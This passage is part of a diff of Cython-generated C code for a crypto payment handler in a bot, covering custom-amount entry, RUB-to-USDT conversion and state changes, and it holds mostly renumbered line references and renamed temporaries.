(unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 230, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_ENTER_SUM); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 230, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_3 = NULL; + + __pyx_t_6 = PyTuple_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 229, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_1); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1)) __PYX_ERR(0, 229, __pyx_L1_error); + __pyx_t_1 = 0; + + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 231, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 231, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_7 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS - if (likely(PyMethod_Check(__pyx_t_5))) { - __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); - if (likely(__pyx_t_3)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); - __Pyx_INCREF(__pyx_t_3); + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_5, function); + __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_4 = 1; } } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; - __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 230, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 231, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 230, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_5) < 0) __PYX_ERR(0, 231, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__29, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 228, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 229, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_r); @@ -8474,30 +8479,30 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L4_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 228, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 229, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 228, __pyx_L1_error) + else __PYX_ERR(0, 229, __pyx_L1_error) } } - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 233, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 234, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_entering_custom_amount_crypto); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_entering_custom_amount_crypto); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 233, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = NULL; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS if (likely(PyMethod_Check(__pyx_t_1))) { - __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); - if (likely(__pyx_t_2)) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); - __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_4 = 1; @@ -8505,16 +8510,16 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; - __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 233, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_t_2}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 234, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_r); @@ -8524,12 +8529,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 233, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 234, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 233, __pyx_L1_error) + else __PYX_ERR(0, 234, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -8545,6 +8550,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); __Pyx_AddTraceback("process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_L0:; __Pyx_XDECREF(__pyx_r); __pyx_r = 0; @@ -8615,7 +8621,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 236, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 237, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -8623,14 +8629,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 236, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 237, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 236, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 237, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 236, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 237, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -8643,7 +8649,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 236, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 237, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -8682,7 +8688,7 @@ static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_18process_custom_a if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 236, __pyx_L1_error) + __PYX_ERR(0, 237, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -8693,7 +8699,7 @@ static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_18process_custom_a __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6, __pyx_codeobj__30, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6, __pyx_codeobj__21, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -8760,11 +8766,11 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 236, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 237, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 238, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 238, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -8785,49 +8791,49 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 238, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } - __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 238, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_5) { - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 239, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 239, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 240, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 240, __pyx_L1_error) + __pyx_t_1 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyObject_RichCompare(__pyx_t_1, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 240, __pyx_L1_error) + __pyx_t_3 = PyObject_RichCompare(__pyx_t_1, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 240, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_5) { - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 241, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 243, __pyx_L1_error) + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = 0; __pyx_t_7 = 127; - __Pyx_INCREF(__pyx_kp_u__31); + __Pyx_INCREF(__pyx_kp_u__22); __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; __pyx_t_6 += 25; - __Pyx_GIVEREF(__pyx_kp_u__31); - PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__31); - __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 243, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__22); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__22); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 243, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_7; @@ -8835,12 +8841,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_9); __pyx_t_9 = 0; - __Pyx_INCREF(__pyx_kp_u__32); + __Pyx_INCREF(__pyx_kp_u__23); __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; __pyx_t_6 += 36; - __Pyx_GIVEREF(__pyx_kp_u__32); - PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__32); - __pyx_t_9 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 243, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__23); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__23); + __pyx_t_9 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -8863,7 +8869,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 3+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 241, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -8878,12 +8884,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L6_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 241, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 242, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 241, __pyx_L1_error) + else __PYX_ERR(0, 242, __pyx_L1_error) } } @@ -8893,12 +8899,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx } - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 248, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 248, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 248, __pyx_L1_error) - __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 248, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 249, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -8913,20 +8919,20 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L7_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 248, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 249, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 248, __pyx_L1_error) + else __PYX_ERR(0, 249, __pyx_L1_error) } } - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 249, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 249, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 249, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -8948,7 +8954,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 249, __pyx_L1_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -8963,12 +8969,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L8_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 249, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 250, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 249, __pyx_L1_error) + else __PYX_ERR(0, 250, __pyx_L1_error) } 